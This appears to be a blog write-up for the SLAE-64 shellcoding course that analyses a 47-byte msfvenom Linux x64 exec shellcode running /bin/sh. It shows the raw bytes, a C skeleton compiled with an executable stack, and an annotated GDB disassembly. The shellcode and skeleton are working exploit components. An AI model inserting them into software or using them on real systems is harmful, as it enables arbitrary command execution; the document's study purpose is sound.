Tags: assembly, slae-64, shellcode
This and two other posts will make up the fifth of seven assignments that will comprise my attempt at the SecurityTube Linux Assembly Expert (SLAE-64) certification. Each post will correspond to seven assignments of varying difficulty. I decided to take SLAE-64 to shore up my knowledge of assembly and shellcoding before diving in to OSCE.
I chose this particular piece of shellcode for two reasons. First, similar to my first selection, I hope to learn ways to improve my own assembly. Second, there’s not a large selection to choose from in the 64 bit arena.
We’ll start this analysis out in the same way we did the first. First up, we need some shellcode to work with inside of our testing skeleton.
/*
* msfvenom -p linux/x64/exec -f c CMD=/bin/sh
*
* No platform was selected, choosing Msf::Module::Platform::Linux from the payload
* No arch selected, selecting arch: x64 from the payload
* No encoder or badchars specified, outputting raw payload
* Payload size: 47 bytes
* Final size of c file: 224 bytes
*/
unsigned char buf[] =
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53"
"\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x08\x00"
"\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57\x48\x89\xe6"
"\x0f\x05";
We then add the shellcode generated above to the skeleton.
// gcc -fno-stack-protector -z execstack -o shellcode-skeleton shellcode-skeleton.c
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53"
"\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x08\x00"
"\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57\x48\x89\xe6"
"\x0f\x05";
int main() {
printf("Shellcode length: %zu\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Finally, we compile and run with GDB.
┌(epi@main)─(05:41 AM Thu Aug 02)
└─(assignment-five)─> gcc -o shellcode-skeleton shellcode-skeleton.c -fno-stack-protector -z execstack
┌(epi@main)─(05:41 AM Thu Aug 02)
└─(assignment-five)─> gdb ./shellcode-skeleton
The shellcode we’re examining uses /bin/sh -c
to execute any command specified by the CMD option. Knowing that, we can try to anticipate what we expect to see the shellcode doing.
int execve(const char *filename, char *const argv[], char *const envp[]);
/*
* filename -> a binary executable
* argv -> an array of argument strings passed to the new program
* envp is an array of strings (key=value pairs) and is passed as the new program's environment
*/
By looking at the execve syscall, we can make a reasonable assumption that the syscall should closely resemble
execve("/bin/sh\0", ["-c", "/bin/sh"], \0);
The call above should translate to what’s seen below as far the assembly.
rax -> syscall number for execve
rdi -> /bin/sh
rsi -> location of -c and /bin/sh
rdx -> 0x0
Before we jump into sectional analysis, here is the complete disassembly.
0x555555755020: push 0x3b
0x555555755022: pop rax
0x555555755023: cdq
0x555555755024: movabs rbx,0x68732f6e69622f
0x55555575502e: push rbx
0x55555575502f: mov rdi,rsp
0x555555755032: push 0x632d
0x555555755037: mov rsi,rsp
0x55555575503a: push rdx
0x55555575503b: call 0x555555755048
0x555555755040: (bad)
0x555555755041: (bad)
0x555555755042: imul ebp,DWORD PTR [rsi+0x2f],0x56006873
0x555555755049: push rdi
0x55555575504a: mov rsi,rsp
0x55555575504d: syscall
0x55555575504f: add BYTE PTR [rax],al
These sections are broken up arbitrarily. I really just wanted to step through in little chunks and have broken up the assembly in a way that seems logical to me.
In this section, we’re really dealing with the first two pieces of the syscall being put into place. rax contains the syscall number to be called, and rdi contains /bin/sh.
0x555555755020: push 0x3b ; 59 -> execve syscall number
0x555555755022: pop rax ; store 59 in rax
0x555555755023: cdq ; zero out rdx via sign extension
0x555555755024: movabs rbx,0x68732f6e69622f ; /bin/sh into rbx
0x55555575502e: push rbx ; push /bin/sh onto the stack
0x55555575502f: mov rdi,rsp ; pointer to /bin/sh in rdi
I intentionally cut this section short to allow the next section to stand on its own. All that really happens here is that we gain a pointer to the string -c into rsi.
0x555555755032: push 0x632d ; push -c onto the stack
0x555555755037: mov rsi,rsp ; pointer to -c in rsi
0x55555575503a: push rdx ; push 0 onto the stack
This part is pretty interesting because of the way that the second /bin/sh is broken up and integrated into the syscall.
0x55555575503b: call 0x555555755048 ; pushes addr of /bin/sh onto the stack && jumps to the location directly after /bin/sh
0x555555755040: (bad) ; 0x2f -> /
0x555555755041: (bad) ; 0x62 -> b
0x555555755042: imul ebp,DWORD PTR [rsi+0x2f],0x56006873 ; 0x69,x6e,0x2f,0x73,0x68,0x00 -> in/sh
; 0x555555755048: push rsi ; push pointer to -c onto the stack
To actually figure out what was going on, I had to poke around in GDB and inspect the bytes between the jmp call and its destination.
As usual, python was there to assist me in determining what these bytes translated to.
In the assembly above, I have a comment that shows the push rsi
instruction. If you look above when we inspected the address 0x555555755048
, you can see 0x56. I used nasmshell to figure out what that instruction was and then included it as a comment, since you don’t actually see it in the disassembly.
All of that leaves us with the registers and stack setup as seen below.
This is the final bit of the shellcode. All it really does is lines up the /bin/sh and -c on the stack, store it in rsi and make the syscall. I’m not entirely sure about the final instruction, since it never gets executed. My guess is that it’s just additional padding.
0x555555755049: push rdi ; push pointer to /bin/sh onto the stack
0x55555575504a: mov rsi,rsp ; rsi points to top of stack
0x55555575504d: syscall ; do the thing
0x55555575504f: add BYTE PTR [rax],al ; padding?
Here are the registers before the syscall is made.
As you can see, our forecast worked out pretty well. The resulting syscall gives us a shell on the system.